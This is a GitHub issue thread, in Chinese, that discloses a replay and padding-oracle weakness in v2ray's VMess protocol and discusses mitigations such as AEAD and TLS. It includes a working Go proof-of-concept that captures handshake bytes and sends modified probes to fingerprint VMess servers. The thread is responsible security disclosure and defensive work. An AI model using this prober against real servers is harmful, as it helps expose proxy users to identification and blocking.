Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

vmess协议设计和实现缺陷可导致服务器遭到主动探测特征识别(附PoC) #2523

Closed
p4gefau1t opened this issue May 31, 2020 · 148 comments

Comments

@p4gefau1t
Copy link

p4gefau1t commented May 31, 2020

Update: 我们构造出了更具杀伤性的PoC,仅需16次探测即可准确判定vmess服务,误报可能性几乎为0,校验的缓解措施均无效。唯一的解决方案是禁用vmess或者重新设计协议。我们决定提高issue的严重性等级。

Update:v4.23.4及以后已经采取随机读取多个字节的方式阻止P的侧信道泄漏,目前下面的PoC(16次探测)以及概率探测(暴力发包探测)的PoC已经失效,无法准确探测vmess服务。但是,由于这是协议设计层面的问题,彻底解决问题需要引入AEAD等无法向下兼容的设计。好消息是,这一缓解可以为我们讨论制订新协议争取非常多的时间。vmess+tcp的组合仍然存在一定风险,不建议使用。


先说结论:开启了tcp+vmess的服务端,在和客户端进行通讯时,攻击者可以通过重放攻击的方式准确判定是否为vmess服务。

这个缺陷的利用基于重放攻击和密文填充攻击,需要以下条件(经过讨论,结合之前ss遭到的重放攻击,我们认为对于GFW来说,此条件并不苛刻):

  1. 攻击者可以进行中间人攻击,捕获vmess的TCP流前16 + 38字节。

  2. 攻击者可以在30秒内据此发送16个探测包

目前的缓解方案均可以被绕过,唯一解决方案是修改协议实现 。

个人认为,最好的解决方案是采用gcm等具有认证能力的aead加密模式对指令部分进行加密,而不是cfb。这和现有vmess设计冲突且无法向下兼容,可能需要重新设计vmess协议。

mkcp+vmess和tls+vmess等底层传输不使用tcp的组合不受此问题直接影响,但有可能收到波及。

下面是分析和PoC


鉴于近期vmess协议遭到封锁的情况较为严重,因此研究了一下vmess的协议设计和实现,发现服务端一个实现缺陷导致的特征,可以利用主动探测,区分vmess服务与其他服务。

vmess的协议的设计和实现缺陷

这是vmess的客户端请求格式。

16 字节 X 字节 余下部分
认证信息 指令部分 数据部分

前16字节为认证信息,内容为和时间、用户ID相关的散列值。根据协议设计,每个16字节的认证信息auth的有效期只有30秒。

问题出在指令部分。指令部分使用了没有认证能力的aes-cfb方式,因此攻击者可以篡改其中内容,而仍然能被服务器接受。

1 字节 16 字节 16 字节 1 字节 1 字节 4 位 4 位 1 字节 1 字节 2 字节 1 字节 N 字节 P 字节 4 字节
版本号 Ver 数据加密 IV 数据加密 Key 响应认证 V 选项 Opt 余量 P 加密方式 Sec 保留 指令 Cmd 端口 Port 地址类型 T 地址 A 随机值 校验 F

我们对照代码来看,v2ray服务端的vmess解析代码如下:

func (s *ServerSession) DecodeRequestHeader(reader io.Reader) (*protocol.RequestHeader, error) {
buffer := buf.New()
defer buffer.Release()
if _, err := buffer.ReadFullFrom(reader, protocol.IDBytesLen); err != nil {
return nil, newError("failed to read request header").Base(err)
}
user, timestamp, valid := s.userValidator.Get(buffer.Bytes())
if !valid {
return nil, newError("invalid user")
}
iv := hashTimestamp(md5.New(), timestamp)
vmessAccount := user.Account.(*vmess.MemoryAccount)
aesStream := crypto.NewAesDecryptionStream(vmessAccount.ID.CmdKey(), iv[:])
decryptor := crypto.NewCryptionReader(aesStream, reader)
buffer.Clear()
if _, err := buffer.ReadFullFrom(decryptor, 38); err != nil {
return nil, newError("failed to read request header").Base(err)
}
request := &protocol.RequestHeader{
User: user,
Version: buffer.Byte(0),
}
copy(s.requestBodyIV[:], buffer.BytesRange(1, 17)) // 16 bytes
copy(s.requestBodyKey[:], buffer.BytesRange(17, 33)) // 16 bytes
var sid sessionId
copy(sid.user[:], vmessAccount.ID.Bytes())
sid.key = s.requestBodyKey
sid.nonce = s.requestBodyIV
if !s.sessionHistory.addIfNotExits(sid) {
return nil, newError("duplicated session id, possibly under replay attack")
}
s.responseHeader = buffer.Byte(33) // 1 byte
request.Option = bitmask.Byte(buffer.Byte(34)) // 1 byte
padingLen := int(buffer.Byte(35) >> 4)
request.Security = parseSecurityType(buffer.Byte(35) & 0x0F)
// 1 bytes reserved
request.Command = protocol.RequestCommand(buffer.Byte(37))
switch request.Command {
case protocol.RequestCommandMux:
request.Address = net.DomainAddress("v1.mux.cool")
request.Port = 0
case protocol.RequestCommandTCP, protocol.RequestCommandUDP:
if addr, port, err := addrParser.ReadAddressPort(buffer, decryptor); err == nil {
request.Address = addr
request.Port = port
}
}
if padingLen > 0 {
if _, err := buffer.ReadFullFrom(decryptor, int32(padingLen)); err != nil {
return nil, newError("failed to read padding").Base(err)
}
}
if _, err := buffer.ReadFullFrom(decryptor, 4); err != nil {
return nil, newError("failed to read checksum").Base(err)
}
fnv1a := fnv.New32a()
common.Must2(fnv1a.Write(buffer.BytesTo(-4)))
actualHash := fnv1a.Sum32()
expectedHash := binary.BigEndian.Uint32(buffer.BytesFrom(-4))
if actualHash != expectedHash {
return nil, newError("invalid auth")
}
if request.Address == nil {
return nil, newError("invalid remote address")
}
if request.Security == protocol.SecurityType_UNKNOWN || request.Security == protocol.SecurityType_AUTO {
return nil, newError("unknown security type: ", request.Security)
}
return request, nil
}

可以看到,前16字节的认证信息可以被重复使用,并且只要通过认证,执行流即可进行到140行,初始化aes密钥流。接着在144行处,服务端在没有经过任何认证的情况下,读入38字节的密文,并使用aes-cfb进行解密,在没有进行任何校验的情况下,将其中版本号,余量P,加密方式等信息,直接填入结构体中。

这里问题已经很明显了,攻击者只需要得知16字节的认证信息,就可以在30秒内反复修改这38字节的信息进行反复的重放攻击/密文填充攻击。

aes本身可以抵抗已知明文攻击,因此安全性方面基本没有问题。出现问题的是余量P。我猜想设计者应该是为了避免包的长度特征而引入这个字段,但是读入余量的方式出现了问题:

此处代码实现,在没有校验余量P、加密方式Sec、版本号Ver、指令 Cmd、地址类型T、地址A的情况下,将P直接代入ReadFullFrom中读取P字节(182行)。注意,这里P的范围是2^4=16字节以内。

s.responseHeader = buffer.Byte(33) // 1 byte
request.Option = bitmask.Byte(buffer.Byte(34)) // 1 byte
padingLen := int(buffer.Byte(35) >> 4)
request.Security = parseSecurityType(buffer.Byte(35) & 0x0F)
// 1 bytes reserved
request.Command = protocol.RequestCommand(buffer.Byte(37))
switch request.Command {
case protocol.RequestCommandMux:
request.Address = net.DomainAddress("v1.mux.cool")
request.Port = 0
case protocol.RequestCommandTCP, protocol.RequestCommandUDP:
if addr, port, err := addrParser.ReadAddressPort(buffer, decryptor); err == nil {
request.Address = addr
request.Port = port
}
}
if padingLen > 0 {
if _, err := buffer.ReadFullFrom(decryptor, int32(padingLen)); err != nil {
return nil, newError("failed to read padding").Base(err)
}
}
if _, err := buffer.ReadFullFrom(decryptor, 4); err != nil {
return nil, newError("failed to read checksum").Base(err)
}
fnv1a := fnv.New32a()
common.Must2(fnv1a.Write(buffer.BytesTo(-4)))
actualHash := fnv1a.Sum32()
expectedHash := binary.BigEndian.Uint32(buffer.BytesFrom(-4))
if actualHash != expectedHash {
return nil, newError("invalid auth")
}

读取P+4字节后,v2ray才会对前面读入的内容进行校验,判断命令部分是否合法。如果不合法,断开连接。

缺陷的利用

Update:这个更强的攻击思路来自@studentmain

我们假定攻击者已经捕获前16 + 38字节。如何判定该服务是否为vmess呢?

下面是一种攻击载荷构造方法,我们构造这样的流

16 字节 38 字节 M字节
认证信息 恶意修改的指令部分 探测长度

恶意修改的指令部分:

1 字节 16 字节 16 字节 1 字节 1 字节 4 位 4 位 1 字节 1 字节
版本号 Ver 数据加密 IV 数据加密 Key 响应认证 V 选项 Opt 余量 P 加密方式 Sec 保留 指令 Cmd

方法很简单,我们让i从0-16开始枚举,构造探测载荷。Key的最后一个字节赋值为i,用以绕过v2ray防护。P也赋值为i,用以遍历其明文空间。发送了16+38字节后,尝试还能发送几个字节后连接被断开。发送成功的字节数记做M。

发送载荷,累计16次,记录测得的所有M的值。如果M的最大值和最小值差值为16,并且无重复,该服务为vmess服务。否则不是vmess服务。这个检测方式不会漏报,也几乎不会误报。

原理很简单:

  1. 由于攻击者拥有前16字节的验证信息,因此可以通过服务端校验。

  2. 攻击者修改了key绕过基于nonce的防重放检测。并且,由于修改的是key最后一个字节,cfb加密模式中,由于是同一块的修改,错误不会扩散到P。

  3. 攻击者仅修改并枚举P,遍历所有密文空间,解密后的P同样遍历明文空间。也就是说,从0-16的枚举,将得到十六个不同的P值。

  4. 服务端读入接下来的地址后,开始期待客户端发送P字节的余量,以及最后4个字节的校验码。于是接下来就会读入P+4个字节,并因为校验和不正确,连接被断开。我们因此可以测得M的值。M的实际值为 目标地址长度+P+4

下面是一个PoC,使用go实现,比较粗糙,见谅:

package main

import (
	"flag"
	"fmt"
	"io"
	"net"
	"sync"
	"time"
)

var listenAddr = flag.String("from", "127.0.0.1:4444", "listen address")
var targetAddr = flag.String("to", "127.0.0.1:4445", "target address")
var multiPass = flag.Bool("multi-pass", false, "test multiple connections")

func mitm(client net.Conn) {
	original := [16 + 38]byte{}
	client.SetReadDeadline(time.Now().Add(time.Second * 5))
	_, err := io.ReadFull(client, original[:])
	if err != nil {
		fmt.Println(err)
		return
	}
	client.SetReadDeadline(time.Time{})
	fmt.Println("auth + command", original)
	isVmess := true
	wg := sync.WaitGroup{}
	wg.Add(0xf + 1)
	minP := 9999
	maxP := -1
	for i := 0; i <= 0xf; i++ {
		weAreFucked := func(encryptedP int) {
			defer wg.Done()

			conn, err := net.Dial("tcp", *targetAddr)
			if err != nil {
				fmt.Println(err)
				isVmess = false
				return
			}
			defer conn.Close()

			attack := [16 + 38]byte{}
			copy(attack[:], original[:])

			attack[16+32] = byte(encryptedP) //last byte of key

			tmp := attack[16+35]
			attack[16+35] = (byte(encryptedP) << 4) | (tmp & 0xf) //guess paddingLen
			n, err := conn.Write(attack[:])
			if err != nil || n != 16+38 {
				fmt.Println(err)
				isVmess = false
				return
			}
			for j := 0; j < 9999; j++ {
				//disable BufferReader's buffering
				time.Sleep(time.Millisecond * 10)

				zero := [1]byte{}
				_, err := conn.Write(zero[:])
				if err != nil {
					if j-1 < minP {
						minP = j - 1
					}
					if j-1 > maxP {
						maxP = j - 1
					}
					fmt.Println("M =", j-1)
					return
				}
			}
		}
		go weAreFucked(i)
	}
	wg.Wait()
	if isVmess && (maxP-minP <= 16) {
		fmt.Println("This is a vmess server")
	} else {
		fmt.Println("This is not a vmess server")
	}
}

func main() {
	flag.Parse()
	l, err := net.Listen("tcp", *listenAddr)
	if err != nil {
		fmt.Println(err)
		return
	}
	for {
		conn, _ := l.Accept()
		conn.(*net.TCPConn).SetNoDelay(true)
		fmt.Println(" ==> Client from:", conn.RemoteAddr().String())
		mitm(conn)

		if !*multiPass {
			break
		}
	}
}

这段PoC使用方法是,开启两个v2ray实例,客户端使用vmess连接本地4444端口,服务端vmess监听本地4445端口。客户端开启1080端口接受socks流量。

使用浏览器向客户端1080发送socks请求,客户端向4444端口发送vmess请求时,PoC模拟中间人攻击,获得16字节的有效认证信息。并且以此向4445端口的服务器发送恶意构造的包,测量N的值。

需要注意的是测量M时,可以使用每个字节Sleep后再发送的方式,使得服务端的BufferReader不工作,以此我们可以测量得到准确的M。

你可以通过--from --to 参数来指定想要监听的地址和想要测试的服务器。可以将--to换成其他服务的地址,如ssh,http,https进行检验。对于vmess服务,将输出This is a vmess server。

@DuckSoft
Copy link
Contributor

DuckSoft commented May 31, 2020

简而言之,如果 GFW 怀疑你鸡上有个 vmess + tcp,他抓个包,然后按上面的方法进行重放,在我电脑上实测不用一秒钟你的 vmess + tcp 就被识别了,更别提 GFW 了。希望大家予以重视

更新:目前服务端基本没有反制措施了,16 个包即可完全确定,基本无误报。重新设计吧。

作为 V2Ray 的下游项目(Qv2ray)维护者之一,我希望 V2Ray 能对自己的协议实现进行充分的安全审计,尽可能避免类似的事情再度发生。


ps1:
测试了自用的本地服务器、香港服务器、日本服务器,凡裸 vmess + tcp,瞬间发现。
测试了正常的各种服务如 http、ssh 等,没有误报现象。

ps2:
在本地自建的服务端发现,当遭到主动探测时,日志里面会刷出大量的 invalid auth 信息,这或可成为反制主动探测的一个工具。

ps3:
在这个案例里,似乎,你的 alterId 开的越大反而越不安全。仔细思考。

@p4gefau1t p4gefau1t changed the title vmess协议设计和实现缺陷可导致遭到主动探测(附PoC) vmess协议设计和实现缺陷可导致服务器遭到主动探测特征识别(附PoC) May 31, 2020
@p4gefau1t
Copy link
Author

参考文章: 为何 shadowsocks 要弃用一次性验证 (OTA)

v2ray在vmess命令部分采用的MAC-then-Encrypt的做法,与当年的ss类似。

@RPRX

This comment has been minimized.

@ghost
Copy link

ghost commented May 31, 2020

只需要校验上述 Vmess 字段里的版本号(因为目前只有一种取值),如果发现版本号不正确,直接丢弃该流即可

这一缓解措施不成立,对P的密文的改动只会影响P和Sec。

@rhjdvsgsgks

This comment has been minimized.

@RPRX

This comment has been minimized.

@ghost

This comment has been minimized.

@RPRX

This comment has been minimized.

@ActiveIce

This comment has been minimized.

@RPRX
Copy link
Contributor

RPRX commented Jun 1, 2020

@ActiveIce
倒不是“单用强加密”,只是长期以来这些协议无论怎么设计,始终是在“创造特征”,而墙早已学会了根据特征来封锁,所以我认为继续这样下去是白费力气,远不如直接用tls的特征,还附带安全性
识别出ss换ssr,又被识别了换vmess,总是想着直接在tcp/udp上设计协议,却没有一个能长久

赞同123的具体做法

[Feature Request] 次世代方案:设计一个基于 TLS 的简单协议 #2526

@RPRX

This comment has been minimized.

@ghost
Copy link

ghost commented Jun 1, 2020

如果我理解无误,也就是说:裸vmess协议不再被支持。

@tomac4t
首先,我的确是离题了,但没有那么离谱
用tls+路径分流的情况下,请问如何主动探测?
然后再请你仔细看一下本issue开头描述的场景,再想一下用tls后还是否存在这种问题

@RPRX
Copy link
Contributor

RPRX commented Jun 1, 2020

如果我理解无误,也就是说:裸vmess协议不再被支持。

@tomac4t
首先,我的确是离题了,但没有那么离谱
用tls+路径分流的情况下,请问如何主动探测?
然后再请你仔细看一下本issue开头描述的场景,再想一下用tls后还是否存在这种问题

没错,或者说,可以用,但不主张,包括ss和ssr,因为这些都在“创造特征”
况且all in tls之后,基本只需考虑“大流量情况下的特征是否足够混淆”,vmess协议还可以被瘦身,或者重新设计,以获得更好的性能(毕竟不用考虑防一大堆攻击方式了

自己在tcp上设计的协议,注重加密和防各种攻击是少不了的(这部分性能始终要损失),而tls1.3本来就是一种最佳实践(如本issue提到的aead加密改进),所以不如直接用tls以减少特征、减轻心智负担

@ActiveIce
Copy link

ActiveIce commented Jun 1, 2020

他意思是纠结这个就是做无用功,我也赞同这一点。无论怎么设计/修复协议,都是画虎不成反类犬,在可见的未来会有新特征被识别。还不如直接用大众协议,并处理tls明文部分特征,才是长久之计。
@tomac4t

@jayden-projects

This comment has been minimized.

@RPRX
Copy link
Contributor

RPRX commented Jun 1, 2020

要翻车的节奏

翻车?😂

大家都知道ss和vmess是什么时候出现的,而那时互联网上tls并不普及,tls1.3也没出来。但现在是2020年,tls已成为主流,tls1.3也已被广泛应用了,所以我认为目前套tls才是最佳的选择与长久之计。

@ghost
Copy link

ghost commented Jun 1, 2020

我们现在要做的看来只是正式宣布vmess+非tls不被支持了

@p4gefau1t
Copy link
Author

要翻车的节奏

翻车?😂

大家都知道ss和vmess是什么时候出现的,而那时互联网上tls并不普及,tls1.3也没出来。但现在是2020年,tls已成为主流,tls1.3也已被广泛应用了,所以我认为目前套tls才是最佳的选择与长久之计。

确实如此,但是我们这里讨论的是vmess的问题。单从修复这个问题的角度来说,最好的方法是重新设计这个协议。

@RPRX
Copy link
Contributor

RPRX commented Jun 1, 2020

我们现在要做的看来只是正式宣布vmess+非tls不被支持了

并不。毕竟瘦身后的vmess协议或新协议还未开始设计。
但如果有精力去改进vmess,不如设计all in tls的新协议,这是我的看法。
长期来看,是的,现有vmess会被淘汰。

不过,不少人已经是vmess+ws+tls了,也证明了这种方案的可靠性。

@RPRX

This comment has been minimized.

@yomnxkcs

This comment has been minimized.

@p4gefau1t

This comment has been minimized.

@p4gefau1t

This comment has been minimized.

@p4gefau1t
Copy link
Author

我认为,与其在此争论vmess是否有存在必要/研究是否具有意义的话题,不如转而讨论,本地能否复现此攻击;如何改进vmess协议,使得这样的攻击不可能发生。上面的讨论我个人认为是离题的。

@RPRX

This comment has been minimized.

@Equim-chan
Copy link

我认为校验版本号只是 mitigation,向后不兼容的 solution 可能较好,例如对 fixed/variable sized fields 分别提供校验,或是切换到 aead 上。

另外,我认为用「重放攻击」来描述不太妥当,这个问题更类似 padding oracle。

@ghost
Copy link

ghost commented Jun 1, 2020

我认为校验版本号只是 mitigation,向后不兼容的 solution 可能较好,例如对 fixed/variable sized fields 分别提供校验,或是切换到 aead 上。

另外,我认为用「重放攻击」来描述不太妥当,这个问题更类似 padding oracle。

CFB模式下,攻击P不会影响版本号

切AEAD可以根治

@ghost

This comment has been minimized.

@RPRX
Copy link
Contributor

RPRX commented Jun 1, 2020

新协议的设计过于漫长了,我担心我们没时间等。

请勿抬杠,况且新协议不需要考虑大多数攻击,重点考虑混淆大流量特征,将比vmess简单很多。
就比如“切aead”,tls1.3是自带的。而且tls不会止步1.3,新协议几乎无需做出改变就可以从中获益。

在新协议被设计出来之前,尚有安全的vmess+wss可以使用

@GleenJi
Copy link

GleenJi commented Jun 4, 2020

@GleenJi 端口写80,不是443,就可以了

一直用ws+tls+cdn的方法,感觉挺稳的

@1265578519
Copy link

目前GFW没有执行本帖所说的特征码匹配拦截

@GleenJi
Copy link

GleenJi commented Jun 4, 2020

目前GFW没有执行本帖所说的特征码匹配拦截

哈哈,我就一小白,能翻稳定就行,从去年ws+caddy+tls+cdn一直稳到现在,以前的ssr包括v2ray的tcp还有mkcp根本不行,立马封很快的,换了“终级”配置以后就很稳,我感觉只要是和vps直连的若没有cdn,就没有稳定的保障,有了cdn就无所谓vps被封不被封了

@okudayukiko
Copy link

@GleenJi 端口写80,不是443,就可以了

VMess+WS+端口80,VMess+WS+TLS+端口443都可以由CF代理。如果VPS不止跑V2Ray,就在CF里面新建www的A记录,www由CF代理,主域名直连。

@960PRO
Copy link

960PRO commented Jun 6, 2020

GFW完全可以利用这次的漏洞封杀一批V2ray节点,但没这么做。极有可能GFW早就将注意力重点放在流量特征分析上(分析你的流量有多少、流向哪个IP域名或VPS厂商机房、与大陆外IP通讯多长时间、你每天与大陆外IP通讯的时间段)。站在GFW的角度思考:这人每天下午都要与境外一个小网站交换大量流量,这个境外小网站八成是个伪装的V2ray或Trojan。
流量特征涉及社会工程学,预防说简单很简单,说困难也困难。

@okudayukiko
Copy link

使用WG和AnyConnect有时浏览Google、YouTube会出现「facebook.com证书错误」提示,说明GFW有时可干扰VPN流量中的DNS流量。

@okudayukiko
Copy link

okudayukiko commented Jun 15, 2020

TLS证书

TLS证书能IP地址申请吗好久不关注了,类似免域名 Trojan 使用教程,我用过但Trojan速度不知道怎么就起不来,折腾好久了,就是折腾不出来免域名的vmess+ws+tls,大神求指导

理论上自签证书应该也行,可信度不高

现在似乎没有免费IP证书,只有免费域名证书。我对TLS 1.2 ECDHE_ECDSA_WITH_AES_128_GCM_SHA256进行了抓包,证书已经用ECDHE加密,只有SNI(访问的域名)没有加密。
现在Firefox不信任自签名证书。Android 10导入自签名CA证书后,手机会不断出现“加密的网络数据(如电子邮件)可能不安全”提示。iOS直接不信任导入的自签名CA证书。
某些VPN支持验证客户端证书,这一般是验证客户端证书是否有特定CA的签名。Let's Encrypt不支持签发客户端证书。

@okudayukiko

This comment has been minimized.

@unlsycn

This comment has been minimized.

@nb5p

This comment has been minimized.

@Mistofs

This comment has been minimized.

@fbion
Copy link

fbion commented Jul 30, 2020

mark security

@yougwypf1991
Copy link

您好,我尝试重现上诉描述。我在客户端使用的是4444端口与服务器连接,服务器监听8888端口,正常使用时利用浏览器代理监听4444端口,进而转发流量。
当我使用上诉PoC时,from填的是127.0.0.1:4444,报端口占用错误,请问您上诉描述的1080这个端口,后续是如何操作的?

github-actions bot pushed a commit to Seeed-Studio/seeed-linux-openwrt that referenced this issue Jul 29, 2021
Fix
Issued an emergency fix for VMess weakness described in v2ray/v2ray-core#2523
This fix can significantly hindrance attack based on the weakness described. Only servers need to be updated to apply this emergency fix, it not expected for well-behaved clients to be influenced. A more permanent solution is underway.
@FuckUbuntu
Copy link

要翻车的节奏

翻车?😂

大家都知道ss和vmess是什么时候出现的,而那时互联网上tls并不普及,tls1.3也没出来。但现在是2020年,tls已成为主流,tls1.3也已被广泛应用了,所以我认为目前套tls才是最佳的选择与长久之计。

喜报,2022年TLS+VMess已死

@wikylyu
Copy link

wikylyu commented Jan 23, 2023

要翻车的节奏

翻车?joy
大家都知道ss和vmess是什么时候出现的,而那时互联网上tls并不普及,tls1.3也没出来。但现在是2020年,tls已成为主流,tls1.3也已被广泛应用了,所以我认为目前套tls才是最佳的选择与长久之计。

喜报,2022年TLS+VMess已死

怎么死了,TLS死了不就是说HTTPS死了。

@1265578519
Copy link

怎么死了,TLS死了不就是说HTTPS死了。

https的设备指纹特征码精准识别,自己搜索引擎吧,v2至今为止的新版依旧未修复。

@v2ray v2ray locked as off-topic and limited conversation to collaborators Jan 23, 2023
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests